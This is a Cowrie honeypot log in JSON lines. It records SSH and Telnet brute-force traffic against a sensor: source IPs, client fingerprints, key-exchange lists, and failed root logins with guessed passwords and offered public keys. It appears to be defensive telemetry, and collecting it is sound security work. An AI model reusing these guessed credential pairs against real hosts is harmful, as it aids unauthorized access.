{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:36.157994Z","src_ip":"80.94.92.184","session":"568a45c8db08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.652862787246704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:44.426339Z","src_ip":"107.6.151.170","session":"b05d473e6f10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":50800,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a40698c5271","protocol":"ssh","message":"New connection: 147.45.199.80:50800 (10.17.0.5:22) [session: 5a40698c5271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:40:00.342060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:40:00.348113Z","src_ip":"147.45.199.80","session":"5a40698c5271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:40:00.457025Z","src_ip":"147.45.199.80","session":"5a40698c5271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"klast","message":"login attempt [root/klast] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:40:00.747682Z","src_ip":"147.45.199.80","session":"5a40698c5271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:40:01.848344Z","src_ip":"147.45.199.80","session":"5a40698c5271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52540,"dst_ip":"159.203.135.109","dst_port":23,"session":"3013911313eb","protocol":"telnet","message":"New connection: 107.6.151.170:52540 (159.203.135.109:23) [session: 3013911313eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:41:51.541881Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":45334,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5db72ed3a14","protocol":"ssh","message":"New connection: 103.27.238.114:45334 (10.17.0.5:22) [session: f5db72ed3a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:41:51.955688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:41:51.958956Z","src_ip":"103.27.238.114","session":"f5db72ed3a14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:41:52.231810Z","src_ip":"103.27.238.114","session":"f5db72ed3a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"54321qaz","message":"login attempt [root/54321qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:41:53.052755Z","src_ip":"103.27.238.114","session":"f5db72ed3a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:41:54.329338Z","src_ip":"103.27.238.114","session":"f5db72ed3a14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38174,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5d0cf79f21a","protocol":"telnet","message":"New connection: 107.6.151.170:38174 (159.203.135.109:23) [session: c5d0cf79f21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:41:56.579177Z"}
{"eventid":"cowrie.session.closed","duration":31.961779832839966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:42:28.540796Z","src_ip":"107.6.151.170","session":"c5d0cf79f21a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50740,"dst_ip":"10.17.0.5","dst_port":22,"session":"67b6d7605e48","protocol":"ssh","message":"New connection: 87.251.79.125:50740 (10.17.0.5:22) [session: 67b6d7605e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:42:31.304841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:42:31.308546Z","src_ip":"87.251.79.125","session":"67b6d7605e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:42:31.375299Z","src_ip":"87.251.79.125","session":"67b6d7605e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thursday","message":"login attempt [root/thursday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:42:31.577140Z","src_ip":"87.251.79.125","session":"67b6d7605e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:42:32.646066Z","src_ip":"87.251.79.125","session":"67b6d7605e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.807647943496704,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:42:47.349396Z","src_ip":"107.6.151.170","session":"3013911313eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55016,"dst_ip":"10.17.0.5","dst_port":23,"session":"22073690da07","protocol":"telnet","message":"New connection: 172.81.62.90:55016 (10.17.0.5:23) [session: 22073690da07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:43:11.511505Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41452,"dst_ip":"159.203.135.109","dst_port":23,"session":"95c65fc13130","protocol":"telnet","message":"New connection: 172.81.62.90:41452 (159.203.135.109:23) [session: 95c65fc13130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:43:17.216791Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39040,"dst_ip":"10.17.0.5","dst_port":22,"session":"6045b06ad733","protocol":"ssh","message":"New connection: 27.71.230.31:39040 (10.17.0.5:22) [session: 6045b06ad733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:43:27.550484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:43:27.555097Z","src_ip":"27.71.230.31","session":"6045b06ad733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:43:27.943611Z","src_ip":"27.71.230.31","session":"6045b06ad733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin222222","message":"login attempt [root/Admin222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:43:29.741846Z","src_ip":"27.71.230.31","session":"6045b06ad733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:43:32.751399Z","src_ip":"27.71.230.31","session":"6045b06ad733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.88020420074463,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:43:51.391556Z","src_ip":"172.81.62.90","session":"22073690da07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.74241256713867,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:43:53.959090Z","src_ip":"172.81.62.90","session":"95c65fc13130","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53366,"dst_ip":"10.17.0.5","dst_port":22,"session":"81106c2f7084","protocol":"ssh","message":"New connection: 80.94.92.184:53366 (10.17.0.5:22) [session: 81106c2f7084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:04.252004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:04.255662Z","src_ip":"80.94.92.184","session":"81106c2f7084","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:04.627901Z","src_ip":"80.94.92.184","session":"81106c2f7084","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456.cn","message":"login attempt [solv/123456.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:05.558347Z","src_ip":"80.94.92.184","session":"81106c2f7084","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:07.066568Z","src_ip":"80.94.92.184","session":"81106c2f7084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.197.250.14","src_port":58924,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4ae2dd0cd20","protocol":"ssh","message":"New connection: 168.197.250.14:58924 (10.17.0.5:22) [session: f4ae2dd0cd20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:14.447733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:14.451273Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:14.609437Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:79:b9:8f:f1:cd:ff:a3:21:d8:91:71:b8:16:17:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA/Wpv+eoQdxCn323Oz71TVHQD6hsQgnhrmWvHFHE8xe","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bc:79:b9:8f:f1:cd:ff:a3:21:d8:91:71:b8:16:17:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:15.384092Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:79:b9:8f:f1:cd:ff:a3:21:d8:91:71:b8:16:17:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA/Wpv+eoQdxCn323Oz71TVHQD6hsQgnhrmWvHFHE8xe","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:15.387541Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:f7:c9:f1:bb:e8:59:de:c4:61:b5:95:99:85:d8:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMX1tX5EVFrgoczxaKKC/JmChL7vpOzTzSXLgZBXtHlm","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c6:f7:c9:f1:bb:e8:59:de:c4:61:b5:95:99:85:d8:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:15.548329Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:f7:c9:f1:bb:e8:59:de:c4:61:b5:95:99:85:d8:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMX1tX5EVFrgoczxaKKC/JmChL7vpOzTzSXLgZBXtHlm","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:15.554661Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:28:5b:56:66:17:59:e0:77:9c:37:2d:9a:e7:a0:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtf17YKq8BA85DBgN3P++vZEMxtOoZFa4QkaaReGP0AvR+UKkw4zPs3X1cifzXjZIRRJ/iJrCjVmLZNrS3tPf59C2Glbcg5fvJo7YzuZteU6DPnLPwqvG9XGknmc5LEQI94LVubowd5ZYSoJgf8Qama/yE4B2cN23cjfZ5CcNsyzbYGcvk6juH+EnFnCsAXBMaoJXw1HaqVr2bx319CokILNxgYj6qXYCKBGPf3w/VMOy0YkHj5HgEt7eR8IWKVAYfZoWhig8knCGEnpEp9naRKYpLoDeMbNKjWom2Qocj/GmRcTeBRz3M9bMeoFWf48c7BNBg/srEuUW76OdbeYSj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:28:5b:56:66:17:59:e0:77:9c:37:2d:9a:e7:a0:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:15.714796Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:28:5b:56:66:17:59:e0:77:9c:37:2d:9a:e7:a0:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtf17YKq8BA85DBgN3P++vZEMxtOoZFa4QkaaReGP0AvR+UKkw4zPs3X1cifzXjZIRRJ/iJrCjVmLZNrS3tPf59C2Glbcg5fvJo7YzuZteU6DPnLPwqvG9XGknmc5LEQI94LVubowd5ZYSoJgf8Qama/yE4B2cN23cjfZ5CcNsyzbYGcvk6juH+EnFnCsAXBMaoJXw1HaqVr2bx319CokILNxgYj6qXYCKBGPf3w/VMOy0YkHj5HgEt7eR8IWKVAYfZoWhig8knCGEnpEp9naRKYpLoDeMbNKjWom2Qocj/GmRcTeBRz3M9bMeoFWf48c7BNBg/srEuUW76OdbeYSj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:15.717763Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
